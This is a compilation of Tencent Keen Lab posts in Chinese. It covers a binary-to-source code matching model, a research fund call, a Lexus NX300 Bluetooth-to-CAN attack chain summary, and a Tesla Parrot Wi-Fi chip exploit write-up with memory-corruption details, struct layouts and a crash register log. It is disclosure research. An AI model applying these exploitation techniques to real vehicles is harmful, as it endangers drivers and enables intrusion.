图1展示了一个函数的源代码与二进制代码。从图1中可以看出，除了字符串和立即数特征，代码中隐藏的语义特征也很关键。因此，本文希望设计一种端到端模型，可以自动提取代码间的语义特征，从而提升匹配的准确率。

模型

这是一个二进制代码-源代码间的检索任务，我们把两种代码当作两个模态的输入，即可类比到图文互搜等跨模态检索场景。因此，我们设计了如图2所示的CodeCMR框架，在跨模态检索领域中，这是一种比较常见的结构[3, 4]。在计算最终向量之前，两个模态之间没有信息传递，因此在实际应用时可以预先计算向量，可以节省大量的线上计算时间以及存储空间。

整体结构

模型的输入有源代码特征和二进制代码特征两个部分。其中源代码特征是字符级别的源代码、从源代码中提取的字符串和立即数；二进制代码特征是控制流图、二进制代码的字符串和立即数。首先将三个输入（语义特征、字符串特征、立即数特征）分别用不同模型计算得到向量，再用拼接+BatchNorm的方式得到代码向量，最后用triplet loss[5]作为损失函数。

在这个基础框架上，有许多可以改进的创新点，例如使用预训练模型做语义融合、使用adversarial loss对齐向量等，对此我们将在后文讨论。

语义模型

如图3所示，对于字符级源代码，我们使用的是DPCNN模型[6]；对于二进制控制流图，我们使用的是端到端的GNN模型。在函数级别，字符级源代码的输入通常在4096以上，DPCNN的效果远优于TextCNN和LSTM。对于控制流图，我们没有使用BERT预训练的node embedding作为输入[7]，而是采用了端到端训练的方式，取得了更好的效果。
在这个阶段，本文使用的是DPCNN和GNN，但ASTNN等树模型也同样值得尝试。由于输入是函数级别的代码，缺少#define、#include等重要信息，需要设计合适的编译工具将源代码转化为AST。相比之下，我们直接将文本作为输入的优点是无需额外的专家经验，健壮性强。

立即数、字符串模型

对于源代码与二进制代码的立即数和字符串，我们同样设计了模型进行匹配。

对于立即数，我们设计了一种Integer-LSTM。它的输入有integer token和integer number两个。integer number作用在LSTM的输入门和输出门，从而控制信息流动。
对于字符串，我们使用的是层次模型，先用LSTM模型得到每个字符串的向量，再使用sum pooling的方法得到字符串集合的向量。

Norm weighted sampling

在得到源代码与二进制代码的向量后，我们设计了一种采样方法。在metric learning领域中，损失函数和采样方法是十分重要的两个模块。为了解决hard样本在训练早期收敛到局部极小值的问题，[5]提出了semi-hard采样方法。然而，[8]指出这种采样方法可能会在某个时间段停止训练，从而提出了distance weighted sampling采样方法解决这个问题：

distance weighted sampling可以在分布中选择各个概率的样本，而semi-hard、hard、uniform等采样方法只能选择特定分布的样本。在此基础上，本文提出了一个改进，即增加一个超参数s，帮助调整概率的分布，从而适应不同的任务和数据集。

实验

数据集与评测指标

本文分别用gcc-x64-O0和clang-arm-O3作为两种组合方式，制作了两个30000/10000/10000的训练/验证/测试集，并使用recall@1和recall@10作为评测指标。数据集已公开在https://github.com/binaryai。

实验结果

如表1所示，本文提出的方法与传统方法相比有巨大提升，这一发现符合我们的预期，说明代码间隐含的语义特征十分重要。在语义模型中，DPCNN+HBMP取得了最优的效果，说明在二进制侧端到端训练优于预训练的node embedding。与随机采样和distance weighted采样方法相比，norm weighted采样效果更好。图4的train/valid loss曲线也证明了这一点，当s=5时norm weighted sampling的train loss更高但valid loss更低，这表示采样到更合适的样例pair。

讨论与总结

讨论

基于CodeCMR框架，有很多值得尝试的创新。

1. code encoder。ASTNN、Tree-LSTM、transformer等模型可能也同样有效；
2. 其它损失函数和采样方法，如AM-softmax、Circle loss等；
3. 对抗训练以及其它的跨模态检索领域的方法；
4. 预训练算法。在获得最终向量前两个模态没有信息融合，因此在两个模态分别单独预训练或用跨语言模型的方法融合训练，均是值得尝试的。

总结

本文针对二进制代码-源代码匹配任务提出了CodeCMR框架，成功地利用了源代码与二进制代码间的语义特征。与传统方法相比，取得了很大的突破。

参考文献

[1] Yuan Z, Feng M, Li F, et al. B2SFinder: Detecting Open-Source Software Reuse in COTS Software[C]//2019 34th IEEE/ACM International Conference on Automated Software Engineering (ASE). IEEE, 2019: 1038-1049.
[2] Miyani D, Huang Z, Lie D. Binpro: A tool for binary source code provenance[J]. arXiv preprint arXiv:1711.00830, 2017.
[3] Wang H, Sahoo D, Liu C, et al. Learning cross-modal embeddings with adversarial networks for cooking recipes and food images[C]//Proceedings of the IEEE Conference on Computer Vision and Pattern Recognition. 2019: 11572-11581.
[4] Wang B, Yang Y, Xu X, et al. Adversarial cross-modal retrieval[C]//Proceedings of the 25th ACM international conference on Multimedia. 2017: 154-162.
[5] Schroff F, Kalenichenko D, Philbin J. Facenet: A unified embedding for face recognition and clustering[C]//Proceedings of the IEEE conference on computer vision and pattern recognition. 2015: 815-823.
[6] Johnson R, Zhang T. Deep pyramid convolutional neural networks for text categorization[C]//Proceedings of the 55th Annual Meeting of the Association for Computational Linguistics. 2017: 562-570.
[7] Yu Z, Cao R, Tang Q, et al. Order Matters: Semantic-Aware Neural Networks for Binary Code Similarity Detection[C]//Proceedings of the AAAI Conference on Artificial Intelligence. 2020, 34(01): 1145-1152.
[8] Wu C Y, Manmatha R, Smola A J, et al. Sampling matters in deep embedding learning[C]//Proceedings of the IEEE International Conference on Computer Vision. 2017: 2840-2848.

CCF-腾讯犀牛鸟基金（以下简称犀牛鸟基金）于2013年由腾讯公司和中国计算机学会（CCF）共同发起，致力于面向海内外青年学者搭建产学研合作及学术交流的平台。

8年来，犀牛鸟基金为全球范围内最具创新力的青年学者提供了解产业真实问题，接触业务实际需求的机会，并通过连接青年学者与企业研发团队的产学科研合作，推动双方学术影响力的提升及研究成果的应用落地，为自主研发技术的探索和创新储备能量。

科恩AI能力建设

自2018年起，腾讯安全科恩实验室积极布局人工智能安全研究，并在”安全+AI”交叉领域结合应用场景研究探索。2019年3月，科恩实验室发表“特斯拉Autopilot的实验性安全研究”[1]，即利用AI领域的对抗样本生成算法，精准误导特斯拉Autopilot的图像识别深度学习算法，成为首个实现对抗商用自动驾驶系统图像识别功能的研究案例。

科恩在研究AI算法自身安全性方向获得突破性成果的基础上，也积极探索如何将AI算法应用到传统安全研究当中。科恩此前发布的论文《Order Matters: Semantic-Aware Neural Networks for Binary Code Similarity Detection》[2]，核心为利用AI算法解决大规模二进制程序函数相似性分析的问题。此论文作为国内该领域最新研究成果被人工智能顶级学术会议AAAI-20会议收录。

在AI安全研究与能力建设的方向上，科恩始终秉持开放合作的态度，通过各类研究合作项目与广大研究学者进行深入学习交流。2019年7月，科恩参与腾讯公司高校合作项目CCF-腾讯犀牛鸟基金，与香港科技大学就相关研究课题展开深入合作。

为进一步深耕深度学习与软件安全研究领域，在2020年CCF-腾讯犀牛鸟基金项目中，腾讯安全科恩实验室再次参与并开放“深度学习在软件安全领域的应用研究”课题方向申请。科恩期待与更多在“安全+AI”领域深入研究的高校青年教师合作，碰撞出利用AI算法解决安全实际场景问题的更多火花。

“深度学习在软件安全领域的应用研究”课题

本年度犀牛鸟基金继续以人工智能技术为主要研究方向，强调其在医疗健康、能源保障、材料研发、信息安全等民生领域的技术融合与应用，并首次涉及多源信息融合、博弈论、密码学等领域前沿课题。

腾讯安全科恩实验室在本次犀牛鸟中启动“深度学习在软件安全领域的应用研究”课题方向申请，相关信息如下：

深度学习在软件安全领域的应用研究

随着软件复杂度的不断提升，大规模源代码和二进制软件的漏洞挖掘工作面临新的机遇和挑战。本研究项目希望把深度学习相关技术(例如自然语言处理、图神经网络、深度强化学习等)应用于软件安全研究中，其成果可以对传统的逆向工程、模糊测试、漏洞挖掘等有较大促进。

建议研究方向

• 计算机语言的表征和分类研究，例如识别二进制软件对应的编译器、编译优化选项、第三方库、开发作者等信息；
• 计算机语言的自动生成和翻译技术研究，例如自动生成用于编译器(解释器)模糊测试的符合语法结构的程序代码；
• 用机器翻译技术实现二进制和源代码之间的相互翻译工作；
• 面向复杂交互程序的智能分析方法研究，例如研究代码相似性分析、演化API的误用检测、基于程序内状态机的符号执行、用户界面和运行时事件等复杂输入驱动的软件测试方法。

申报条件

本基金将面向符合如下条件的海内外高校及科研院所青年学者展开：

• 男性申请者是1984年1月1日（含），女性申请者是1979年1月1日（含）之后出生的高校/科研院所在职的全职教师或研究人员；
• 硕士/博士毕业后在高校/科研院所累计任职时间，男性不超过5年，女性不超过10年；
• 能独立进行研究工作，并带领学生团队共同参与课题研究与实践。

申报方式

申报截止时间：2020年6月15日24:00（北京时间）
申报方式：点击2020年CCF-腾讯犀牛鸟基金介绍主页查看《2020年CCF-腾讯犀牛鸟基金项目申报指南》，填写并上传《申报表》提交申请。
注意事项：

• 每位申请人限提交一份申请，已获得上一年度科研基金资助的项目负责人需隔一年再提交申请。
• 申请人在申报前需确认所在高校/科研院所可以作为项目依托单位签署科研合作协议，申请人本人可以作为项目负责人签署项目保密协议等相关承诺文件。

更多申报主题信息请关注腾讯高校合作官方网站。任何针对项目申报的问题，请联系基金项目负责人邸欣晨，电子邮箱：xinchendi@tencent.com。

欢迎广大青年学者关注并申报本年度犀牛鸟基金。

引用

[1] https://keenlab.tencent.com/zh/2019/03/29/Tencent-Keen-Security-Lab-Experimental-Security-Research-of-Tesla-Autopilot/
[2] https://keenlab.tencent.com/zh/2019/12/10/Tencent-Keen-Security-Lab-Order-Matters/

雷克萨斯从2017年开始已经为多款车型(包括NX、LS、ES等系列)配备新一代的信息娱乐系统，也被称为AVN视听导航设备。与一些智能网联车载系统相比，如特斯拉中控系统和宝马ConnectedDrive系统，雷克萨斯AVN系统会显得更加传统一些。从安全的角度来看，它能够很大程度上降低被潜在的网络安全问题攻击的可能性。但是一个新的系统往往会带来新的安全风险。科恩实验室[1]对2017款雷克萨斯NX300车型进行安全研究后，在该车型的蓝牙和车辆诊断功能上发现了一系列安全问题，并能够危及到AVN系统、车内CAN网络和相关车载电子控制单元(ECU)的安全性。通过结合利用这些安全问题，科恩实验室能够在无需任何用户交互的情况下，通过无线方式破解并控制汽车的AVN系统，将恶意CAN指令发送到车内CAN网络，从而实现对存在漏洞的车辆执行一些非预期的物理操作。
目前，丰田公司正在推进车辆安全问题修复的解决方案。因此本次报告内容只对研究成果做简要分析，而不是全面的细节披露。如果一切顺利的话，我们将在2021年某个适当的时间点发布完整的漏洞技术报告。

车载部件概述

基于对2017款雷克萨斯NX300车辆的硬件分析和CAN网络测试，汽车内部的基本架构如下图所示(涉及到AVN、DCM数据通信模块、电子控制单元和CAN网络等)。

DCM数据通信模块

DCM是一个运行在高通MDM6600基带芯片上的远程信息处理设备，又称为T-Box。它可以通过USB以太网接口为AVN设备提供3G网络来支持远程信息服务。DCM还可以通过CAN总线查询ECU (比如汽车引擎和车门) 的状态信息，并将查询结果上传到云端后台。

AVN 视听导航设备

作为车载信息娱乐系统，雷克萨斯AVN设备主要为用户提供无线电广播、多媒体和导航功能。实际上，它由两部分组成：DCU显示控制单元和MEU地图多媒体扩展单元。DCU是AVN单元的关键部件，DCU的主电路板模块暴露了一些常见的攻击面，如Wi-Fi，蓝牙和USB接口。通过DCU uCOM电路板模块，DCU系统能给通过CAN消息与汽车内部ECU进行间接通信。MEU地图多媒体扩展单元功能非常透明，它只负责提供地图导航数据。在DCU和MEU之间，还连接了USB以太网线用于消息通信。

DCU 主电路板模块

通过拆解DCU硬件，我们发现它主要包含两个电路板模块。如下图所示，根据电路板位置，顶层为DCU主电路板模块，底层为DCU uCOM电路板模块。

DCU主电路板模块集成了一些常规芯片，包括瑞萨R8A779x SoC芯片[2]， 博通BCM4339 Wi-Fi蓝牙芯片，2块512MB的SDRAM内存芯片，1块8GB的eMMC NAND Flash储存器和1块8MB的SPI NOR Flash储存器。SoC芯片拥有两个ARM-CortexA15核，用于运行各种代码，包括芯片启动代码(bootrom)、NOR Flash中的U-Boot固件代码以及eMMC Flash中的Linux系统。
在DCU主板背面有一块独立的SPI NOR Flash储存芯片。根据芯片的数据手册，该存储器总容量为64M-bits。将存储芯片的引脚焊接到通用存储芯片编程器后，并在flashrom软件[3]中选择对应的芯片型号，可以将SPI储存芯片中的所有数据提取出来。通过对提取的数据进行逆向工程后，基本上可以推测出如下图所示的数据存储布局。由于为了支持A/B系统备份更新，Flash存储器中还保存一部分固件镜像和配置数据的副本，比如U-Boot config配置数据、U-Boot Image镜像和BSP Boot config启动配置数据。

DCU主板还集成了一块8GB的eMMC NAND Flash芯片用来存储AVN单元的主要代码和数据，包括Linux内核镜像、设备树数据、ramdisk镜像和Ext4文件系统。同时为了实现AVN系统的快速引导启动，Flash中也保存了一份Linux系统的快照镜像。而为了支持A/B系统更新， Flash中还需要储存Linux内核镜像和ramdisk镜像的副本。整个eMMC Flash的存储布局如下图所示。

DCU uCOM电路板模块

TDCU uCOM电路板模块的用途是管理电源和一些外部设备，如DVD播放器、空调、触控板和电子时钟。而为了与这些外部设备通信，uCOM电路板上配备了两个CAN总线微控制器(SYSuCOM与CANuCOM)，每个微控制器都和uCOM电路板上独立的CAN总线收发器进行连接。
CANuCOM是DCU显示控制单元中的一个CAN总线控制器。它使用的是瑞萨R5F10PLJL芯片(如图5所示)，通过连接一个CAN总线收发器，CANuCOM可以直接访问汽车的娱乐CAN总线，并且能给与一些车载ECU(如网关和Main Body ECU)交换CAN消息。

SYSuCOM是一个基于松下MNZLF79WXWUB芯片的CAN总线控制器。通过CAN总线收发器，它可以和位于专用CAN网络域中的触控板和电子时钟进行CAN消息通信。SYSuCOM通过UART串口直接连接了CANuCOM和DCU主电路板，它能给为主电路板和外部设备完成不同类型的消息数据转换。

电子控制单元和CAN网络

中央网关是一个重要的汽车ECU，它将车载CAN网络划分为不同的CAN域，包括娱乐CAN、车身CAN、OBD诊断CAN、底盘CAN和动力CAN等。另一个必不可少的ECU是Main Body ECU，也被称为车身控制模块（BCM）。Main Body ECU管理了一组用于处理车身相关功能的ECU。DCM模块和AVN属于娱乐CAN域。为了传输CAN消息，DCU uCOM电路板上设计了2个不同的CAN总线(即CAN-1和CAN-2)。通过uCOM模块，DCU主板模块可以向网关传输特定的CAN消息来查询车辆状态。
CAN-1. CANuCOM 微控制器的CAN总线，它直接连接到车内的娱乐CAN总线。通过UART串口与SYSuCOM通信，CANuCOM可以往娱乐CAN总线间接传输来自DCU主板的CAN消息。
CAN-2. SYSuCOM微控制器的CAN总线，它是一路专用CAN总线，用来连接DCU、触控板以及电子时钟等设备。该CAN总线与车载CAN网络在物理上是隔离的。
为了发送CAN消息，DCU主板模块与SYSuCOM建立了两路UART串口(/dev/ttySC1和/dev/ ttysc9)。DCU系统可以将定制的CAN消息发送到/dev/ttySC1串口，这些消息会被中转到CAN-1总线。通过类似的方式，发送到/dev/ttySC9的消息会被转发到CAN-2总线。

安全研究成果

以下表中所有的安全研究发现在2017款雷克萨斯NX300车型上验证是有效的，并且在我们向丰田公司提交完整的技术报告及合作交流相应的技术细节之后，丰田也确认了这些安全问题。

无线破解DCU系统

我们利用车载蓝牙服务中的两个漏洞实现在DCU的Linux系统中以root权限远程执行代码。第一个是堆内存越界读漏洞，第二个是堆内存的缓冲区溢出漏洞。这两个漏洞都存在于建立蓝牙连接的过程中，并且是在蓝牙配对之前，这使得针对蓝牙漏洞的利用是完全无需用户接触和交互的。而为了获得受影响车辆的蓝牙MAC地址，如果DCU系统曾经与移动电话配对过，我们就可以用 “Ubertooth One”[4]设备进行无线嗅探到DCU系统 的MAC地址。
此外，DCU系统并不支持安全启动，这意味着整个系统可以被篡改，例如按照惯例替换掉系统启动动画。在完全控制DCU系统之后，我们发现想要任意发送CAN消息并不容易，因为在DCU uCOM模块中已经实现了CAN消息的过滤机制。但幸运的是，DCU的Linux系统是负责uCOM的固件升级。

重构uCOM固件

通过逆向uCOM固件及其固件更新逻辑，我们能够将一个恶意固件重新刷写到uCOM电路板模块中，以此来绕过CAN消息验证，从而可以实现向车辆娱乐CAN总线发送任意CAN消息。

传输未授权诊断消息

根据车载诊断系统的实验测试结果，我们确认了被破解后的DCU系统是被允许通过发送未经授权的诊断CAN消息来控制车辆的诊断功能。Main Body ECU会被恶意诊断从而造成汽车在缺乏认证的情况下执行物理操作。

无线攻击链

通过结合蓝牙和车载诊断功能中的安全发现(见表1)，我们可以实现如下图所示的从蓝牙无线到车内CAN网络的远程无接触式的攻击链。

步骤-1. 因为车载蓝牙服务是以root权限运行在DCU系统中，一旦DCU系统被蓝牙漏洞攻击破解，恶意代码将会通过无线方式部署并永久驻留在系统中。
步骤-2. 恶意代码可以设计成让被破解后的DCU系统自动连接到我们创建的Wi-Fi热点，并反弹一个远程可交互的系统root shell。
步骤-3. 接着可以利用Wi-Fi网络下的root shell，通过 SYSuCOM和CANuCOM将任意的CAN消息传输到车内CAN总线。
步骤-4. 此外通过利用CAN诊断消息，位于车内CAN网络的一些ECU会被欺骗执行诊断功能，从而使得汽车触发非预期的物理动作。

漏洞披露流程

雷克萨斯汽车安全研究是一项道德的安全研究项目。科恩实验室遵循了全球软件和互联网行业公认的负责任的漏洞披露原则，同丰田公司一起合作修复本报告中列出的安全漏洞和攻击链。

以下是详细的漏洞披露时间线:

丰田官方回应

丰田对于此次研究的官方回复请参考如下链接：
https://global.toyota/en/newsroom/corporate/32120629.html

引用

[1] https://keenlab.tencent.com/en/
[2] https://www.renesas.com/us/en/solutions/automotive/soc/r-car-m2.html
[3] https://www.flashrom.org/Flashrom
[4] https://greatscottgadgets.com/ubertoothone/
[5] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5551

腾讯安全科恩实验室正式加入致力于推广开源车载信息娱乐系统(IVI)软件的非营利汽车联盟GENIVI。作为联盟新成员，科恩将在后续的合作中，输出在智能网联汽车领域安全能力，推动GENIVI联盟在智能网联汽车设计标准、开源软件、系统平台等方面的安全能力建设。

关于GENIVI

GENIVI作为一个非营利性的汽车联盟[1]，致力于发展和支持车载信息娱乐系统（IVI）的开源开发平台。自2009年成立以来，该协会拥有超过100名成员，覆盖汽车制造商、一级供应商、半导体供应商、软硬件开发商和服务提供商。基于行业趋势以及开发解决方案的一致需求，GENIVI联盟成员合作制定可采用的标准和开放源代码。近年来，GENIVI进一步扩展联盟核心能力，积极助力汽车制造商集成集中式和互联驾驶舱中的多个操作系统。

科恩实力

腾讯安全科恩实验室作为腾讯CSIG旗下一支国际一流的信息安全团队，在桌面端安全、移动终端安全等研究领域有十多年的积累，技术实力和研究成果达到了国际领先水平。近年来，科恩在智能网联汽车信息安全领域屡次取得突破性成果[2,3,4]。通过持续深入的独立安全研究项目以及与众多国内外汽车厂商的安全合作，科恩实验室在网联汽车信息安全渗透测试，安全解决方案，最佳实践等方面积累了丰富的经验和技术沉淀。

未来可期

腾讯安全科恩实验室作为国内首个加入GENIVI联盟的安全团队，也将在后续的合作中，利用科恩在车联安全方向的能力积累为GENIVI联盟的车联安全建设提供能力输出。科恩始终开放自身核心技术能力，并根据产业实际痛点和研究推出智能网联汽车信息安全产品与行业解决方案。护航各行业数字化变革，守护全网用户的信息安全是腾讯科恩实验室的使命。

参考文献

[1] https://www.genivi.org/about-genivi/
[2] https://keenlab.tencent.com/en/2016/09/19/Keen-Security-Lab-of-Tencent-Car-Hacking-Research-Remote-Attack-to-Tesla-Cars/
[3] https://keenlab.tencent.com/en/2017/07/27/New-Car-Hacking-Research-2017-Remote-Attack-Tesla-Motors-Again/
[4] https://keenlab.tencent.com/zh/2018/05/22/New-CarHacking-Research-by-KeenLab-Experimental-Security-Assessment-of-BMW-Cars/

在过去的两年里，腾讯科恩实验室对特斯拉汽车的安全性进行了深入的研究并在Black Hat 2017与Black Hat 2018安全会议上两次公开分享了我们的研究成果。我们的研究成果覆盖了车载系统的多个组件。我们展示了如何攻入到特斯拉汽车的CID、IC、网关以及自动驾驶模块。这一过程利用了内核、浏览器、MCU固件、UDS协议及OTA更新过程中的多个漏洞。值得注意的是，最近我们在自动驾驶模块上做了一些有趣的工作。我们分析了自动雨刷和车道识别功能的具体实现细节并且在真实的世界中对其中的缺陷进行了攻击尝试。

为了更深入的了解特斯拉车载系统的安全性，我们研究了无线功能模块（Model S上的Parrot模块）并在其中找到了两个漏洞。一个存在于无线芯片固件当中，另一个存在于无线芯片驱动当中。通过组合这两个漏洞，攻击者可以在Parrot模块的Linux系统当中执行任意命令。

介绍

本文会揭示这两个漏洞的细节并介绍漏洞的利用过程来证明这两个漏洞是可以被攻击者用来通过无线协议远程攻入到特斯拉车载系统当中的。

Parrot 模块

Tesla Model S上的Parrot模块是一个第三方模块，型号是FC6050W，它集成了无线及蓝牙功能。Parrot通过USB协议与CID相连。Parrot运行着Linux系统并使用了USB Ethernet gadget，因此Parrot与CID在USB协议基础之上实现了以太网连接。当Tesla Model S连接到无线网络时，实际上Parrot模块连接到该无线网络中。这时，网络流量被Parrot从CID路由到外部网络。

从一份公开的资料[1]中，我们找到了Parrot模块的硬件组成。

Parrot模块的引脚定义也在这份datasheet中。Linux系统的shell可以通过Debug UART引脚得到。

其中的reset引脚连到到CID的GPIO上，因此CID有能力通过下列命令重置整个Parrot模块

1
2
3

echo 1 \> /sys/class/gpio/gpio171/value
sleep 1
echo 0 \> /sys/class/gpio/gpio171/value

Marvell 无线芯片

Marvell 88W8688是一款低成本、低功耗、高度集成的支持IEEE802.11a/g/bMAC/基带/射频集无线和蓝牙于一体的基带/射频系统级芯片[2]。

Marvell官方网站[3]提供了一份该芯片的设计框图。

Marvell 88W8688包含了一个嵌入式高性能Marvell Ferocean ARM9处理器。通过修改固件，我们获得了Main ID寄存器中的数值0x11101556，据此推断88W8688使用的处理器型号可能是Feroceon 88FR101 rev 1。在Parrot模块上，Marvell 88w8688芯片通过SDIO接口与主机系统相连。

Marvell 88W8688的内存区域如下：

芯片固件

固件的下载过程包含两个阶段。首先是辅助固件”sd8688_helper.bin”的下载，然后是主固件”sd8688.bin”的下载。辅助固件负责下载主固件及验证主固件中每个数据块是否正确。主固件中包含了很多的数据块，每个块的结构定义如下。

1
2
3
4
5
6
7

struct fw_chunk {   
  int chunk_type;
  int addr;
  unsigned int length;
  unsigned int crc32;
  unsigned char [1];
} __packed;

88w8688固件的运行基于ThreadX实时操作系统，该实时操作系统多用于嵌入式设备。ThreadX的代码存在于ROM内存区域，因此固件”sd8688.bin”实际上作为ThreadX的应用运行。

在特斯拉上，固件”sd8688.bin”的版本ID是”sd8688-B1, RF868X, FP44, 13.44.1.p49”,本文的所有研究均基于此版本。

在逆向识别出所有的ThreadX API之后，各个任务的信息便可以得到。

同时，内存池的相关信息也可以得到。

日志及调试

芯片固件没有实现Data Abort、Prefetch Abort、Undefine和SWI等CPU异常向量的处理过程。这意味着，固件崩溃后处理器会停止工作。我们不知道固件在哪里因何崩溃。

所以我们修改了固件，并自己实现了这些异常处理过程。这些处理过程会记录固件崩溃时的一些寄存器信息，包括通用寄存器，系统模式及中断模式下的状态寄存器和链接寄存器。通过这种方式，我们可以知道崩溃时系统模式或中断模式下的一些寄存器信息。

我们将这些寄存器信息写到末使用的内存区域，例如0x52100~0x5FFFF。这样，这些信息在芯片重置后仍然可以被读取。

在实现了undefine异常处理过程及修改一些指令为undefine指令后，我们可以在固件运行时获取或设置寄存器的内容。用这种方式，我们可以调试固件。

将新的固件下载到芯片中运行，可在内核驱动中发送命令HostCmd_CMD_SOFT_RESET到芯片。随后芯片会重置，新的固件会下载。

固件中的漏洞

88w8688芯片支持802.11e WMM (Wi-Fi Multimedia)协议。在这个协议中，STA会通过Action帧来发送ADDTS request给其他设备。请求中包含有TSPEC信息。然后其他设备同样通过Action帧返回ADDTS response。下面是该Action帧的具体格式。

ADDTS的整个过程如下：当系统想要发送ADDTS请求时，内核驱动会发送HostCmd_CMD_WMM_ADDTS_REQ命令给芯片，然后芯片将ADDTS请求通过无线协议发送出去。当芯片收到ADDTS response后，将该回复信息去掉Action帧头部复制到HostCmd_CMD_WMM_ADDTS_REQ结构体，作为ADDTS_REQ命令的结果在HostCmd_DS_COMMAND结构体中返回给内核驱动。内核驱动来实际处理ADDTS response。

1
2
3
4
5
6
7
8
9
10
11
12
13

struct _HostCmd_DS_COMMAND
{
    u16 Command;
    u16 Size;
    u16 SeqNum;
    u16 Result;
    union
    {
        HostCmd_DS_GET_HW_SPEC hwspec;
        HostCmd_CMD_WMM_ADDTS_REQ;
        //…….
     }
}

漏洞存在于将ADDTS response复制到HostCmd_CMD_WMM_ADDTS_REQ结构体的过程中。函数wlan_handle_WMM_ADDTS_response在复制时，需要复制的长度为Action帧的长度减去4字节Action帧头部。如果Action帧只有头部且长度为3。那么复制时的长度会变为0xffffffff。这样，内存将会被完全破坏，导致稳定的崩溃。

驱动中的漏洞

在芯片与驱动之间，有三种数据包类型通过SDIO接口传递，MV_TYPE_DATA, MV_TYPE_CMD和 MV_TYPE_EVENT。其定义可在源码中找到。

命令处理的过程大致如下。驱动接收到用户态程序如ck5050、wpa_supplicant发来的指令，在函数wlan_prepare_cmd()中初始化HostCmd_DS_COMMAND结构体，该函数的最后一个参数pdata_buf指向与命令有关的结构，函数wlan_process_cmdresp()负责处理芯片返回的结果并将相关信息复制到pdata_buf指向的结构中。

1
2
3
4
5
6

int
wlan_prepare_cmd(wlan_private * priv,
                 u16 cmd_no,
                 u16 cmd_action,
                 u16 wait_option, WLAN_OID cmd_oid, void *pdata_buf);

漏洞存在于函数wlan_process_cmdresp()处理HostCmd_CMD_GET_MEM的过程中。函数wlan_process_cmdresp()没有检查HostCmd_DS_COMMAND结构体中的成员size的大小是否合法。因此在把HostCmd_DS_COMMAND结构中的数据复制到其他位置时发生了内存溢出。

芯片内代码执行

很显然，固件中的漏洞是一个堆溢出。为了利用这个漏洞实现芯片内代码执行，我们需要知道memcpy()函数是怎样破坏内存的，以及芯片是怎样崩溃的，在哪里崩溃的。

为了触发这个漏洞，action帧头部的长度应该小于4。同时我们需要在Action帧中提供正确的dialog token，这意味着memcpy()接收的长度只能是0xffffffff。源地址是固定的，因为该内存块是从内存池pool_start_id_rmlmebuf分配的，并且这个内存池只有一个内存块。目的地址是从内存池pool_start_id_tx分配的，所以目的地址可能是四个地址中的某一个。

源地址及目的地址均位于RAM内存区域0xC0000000~0xC003FFFF，但是内存地址0xC0000000到0xCFFFFFFF都是合法的。结果就是，读或写下面这些内存区域会得到完全一样的效果。

因为内存区域0xC0000000到0xCFFFFFFF都是可读可写的，所以复制过程几乎不会碰到内存的边界。在复制了0x40000个字节后，整个内存可被看作是整体移位了，其中有些数据被覆盖并且丢失了。

88w8688中的CPU是单核的，所以复制过程中芯片不会崩溃直到有中断产生。因为这时内存已被破坏，在大多数情况下，芯片崩溃在中断过程中。

中断控制器给中断系统提供了一个接口。当一个中断产生时，固件可从寄存器中获取中断事件类型并调用相应的中断处理过程。

中断源有很多，所以漏洞触发后，芯片可能崩溃在多个位置。

一个可能性是中断0x15的处理过程中，函数0x26580被调用。0xC000CC08是一个链表指针，这个指针在漏洞触发后可能会被篡改。然而，对这个链表的操作很难给出获得代码执行的机会。

另一个崩溃位置在时钟中断的处理过程中。处理过程有时会进行线程的切换，这时其他任务会被唤醒，那么复制过程就会被暂停。然后芯片可能崩溃在其他任务恢复运行之后。在这种情况下，固件通常崩溃在函数0x4D75C中。

这个函数会读取一个指针0xC000D7DC，它指向结构TX_SEMAPHORE。触发漏洞后，我们可以覆盖这个指针，使其指向一个伪造的TX_SEMAPHORE结构。

1
2
3
4
5
6
7
8
9
10

typedef struct TX_SEMAPHORE_STRUCT
{
    ULONG       tx_semaphore_id;
    CHAR_PTR    tx_semaphore_name;
    ULONG       tx_semaphore_count;
    struct TX_THREAD_STRUCT  *tx_semaphore_suspension_list;
    ULONG                    tx_semaphore_suspended_count;
    struct TX_SEMAPHORE_STRUCT *tx_semaphore_created_next;  
    struct TX_SEMAPHORE_STRUCT *tx_semaphore_created_previous;
} TX_SEMAPHORE;

如果伪造的TX_SEMAPHORE结构中的tx_semaphore_suspension_lis指针刚好指向伪造的TX_THREAD_STRUCT结构。那么当函数_tx_semaphore_put()更新TX_THREAD_STRUCT结构中的链表的时候，我们可以得到一次任意地址写的机会。

我们可以直接将”BL os_semaphore_put”指令的下一条指令改成跳转指令来实现任意代码执行，因为ITCM内存区域是RWX的。困难在于我们需要同时在内存中堆喷两种结构TX_SEMAPHORE和TX_THREAD_STRUCT，并且还要确保指针tx_semaphore_suspension_list指向TX_THREAD_STRUCT结构。这些条件可以被满足，但是利用成功率会非常低。

我们主要关注第三个崩溃位置，在MCU中断的处理过程中。指向struct_interface结构的指针g_interface_sdio会被覆盖。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

struct struct_interface
{
  int field_0;
  struct struct_interface *next;
  char *name_ptr;
  int sdio_idx;
  int fun_enable;
  int funE;
  int funF;
  int funD;
  int funA;
  int funB; // 0x24
  int funG;
  int field_2C;
};

结构中函数指针funB会被使用。如果g_interface_sdio被篡改，那么就会直接实现代码执行。

这是当函数interface_call_funB()中的指令”BX R3”在地址0x3CD4E执行时的一份寄存器日志信息。此时，g_interface_sdio被覆盖成了0xabcd1211。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

LOG_BP_M0_CPSR      : 0xa000009b
LOG_BP_M0_SP        : 0x5fec8
LOG_BP_M0_LR        : 0x3cd50
LOG_BP_M0_SPSP      : 0xa00000b2
LOG_BP_M1_CPSR      : 0xa0000092
LOG_BP_M1_SP        : 0x5536c
LOG_BP_M1_LR        : 0x4e3d5
LOG_BP_M1_SPSP      : 0xa0000013
LOG_BP_M2_CPSR      : 0
LOG_BP_M2_SP        : 0x58cb8
LOG_BP_M2_LR        : 0x40082e8
LOG_BP_M2_SPSP      : 0
LOG_BP_R1           : 0x1c
LOG_BP_R2           : 0
LOG_BP_R3           : 0xefdeadbe
LOG_BP_R4           : 0x40c0800
LOG_BP_R5           : 0
LOG_BP_R6           : 0x8000a500
LOG_BP_R7           : 0x8000a540
LOG_BP_R8           : 0x140
LOG_BP_R9           : 0x58cb0
LOG_BP_R10          : 0x40082e8
LOG_BP_FP           : 0
LOG_BP_IP           : 0x8c223fa3
LOG_BP_R0           : 0xabcd1211

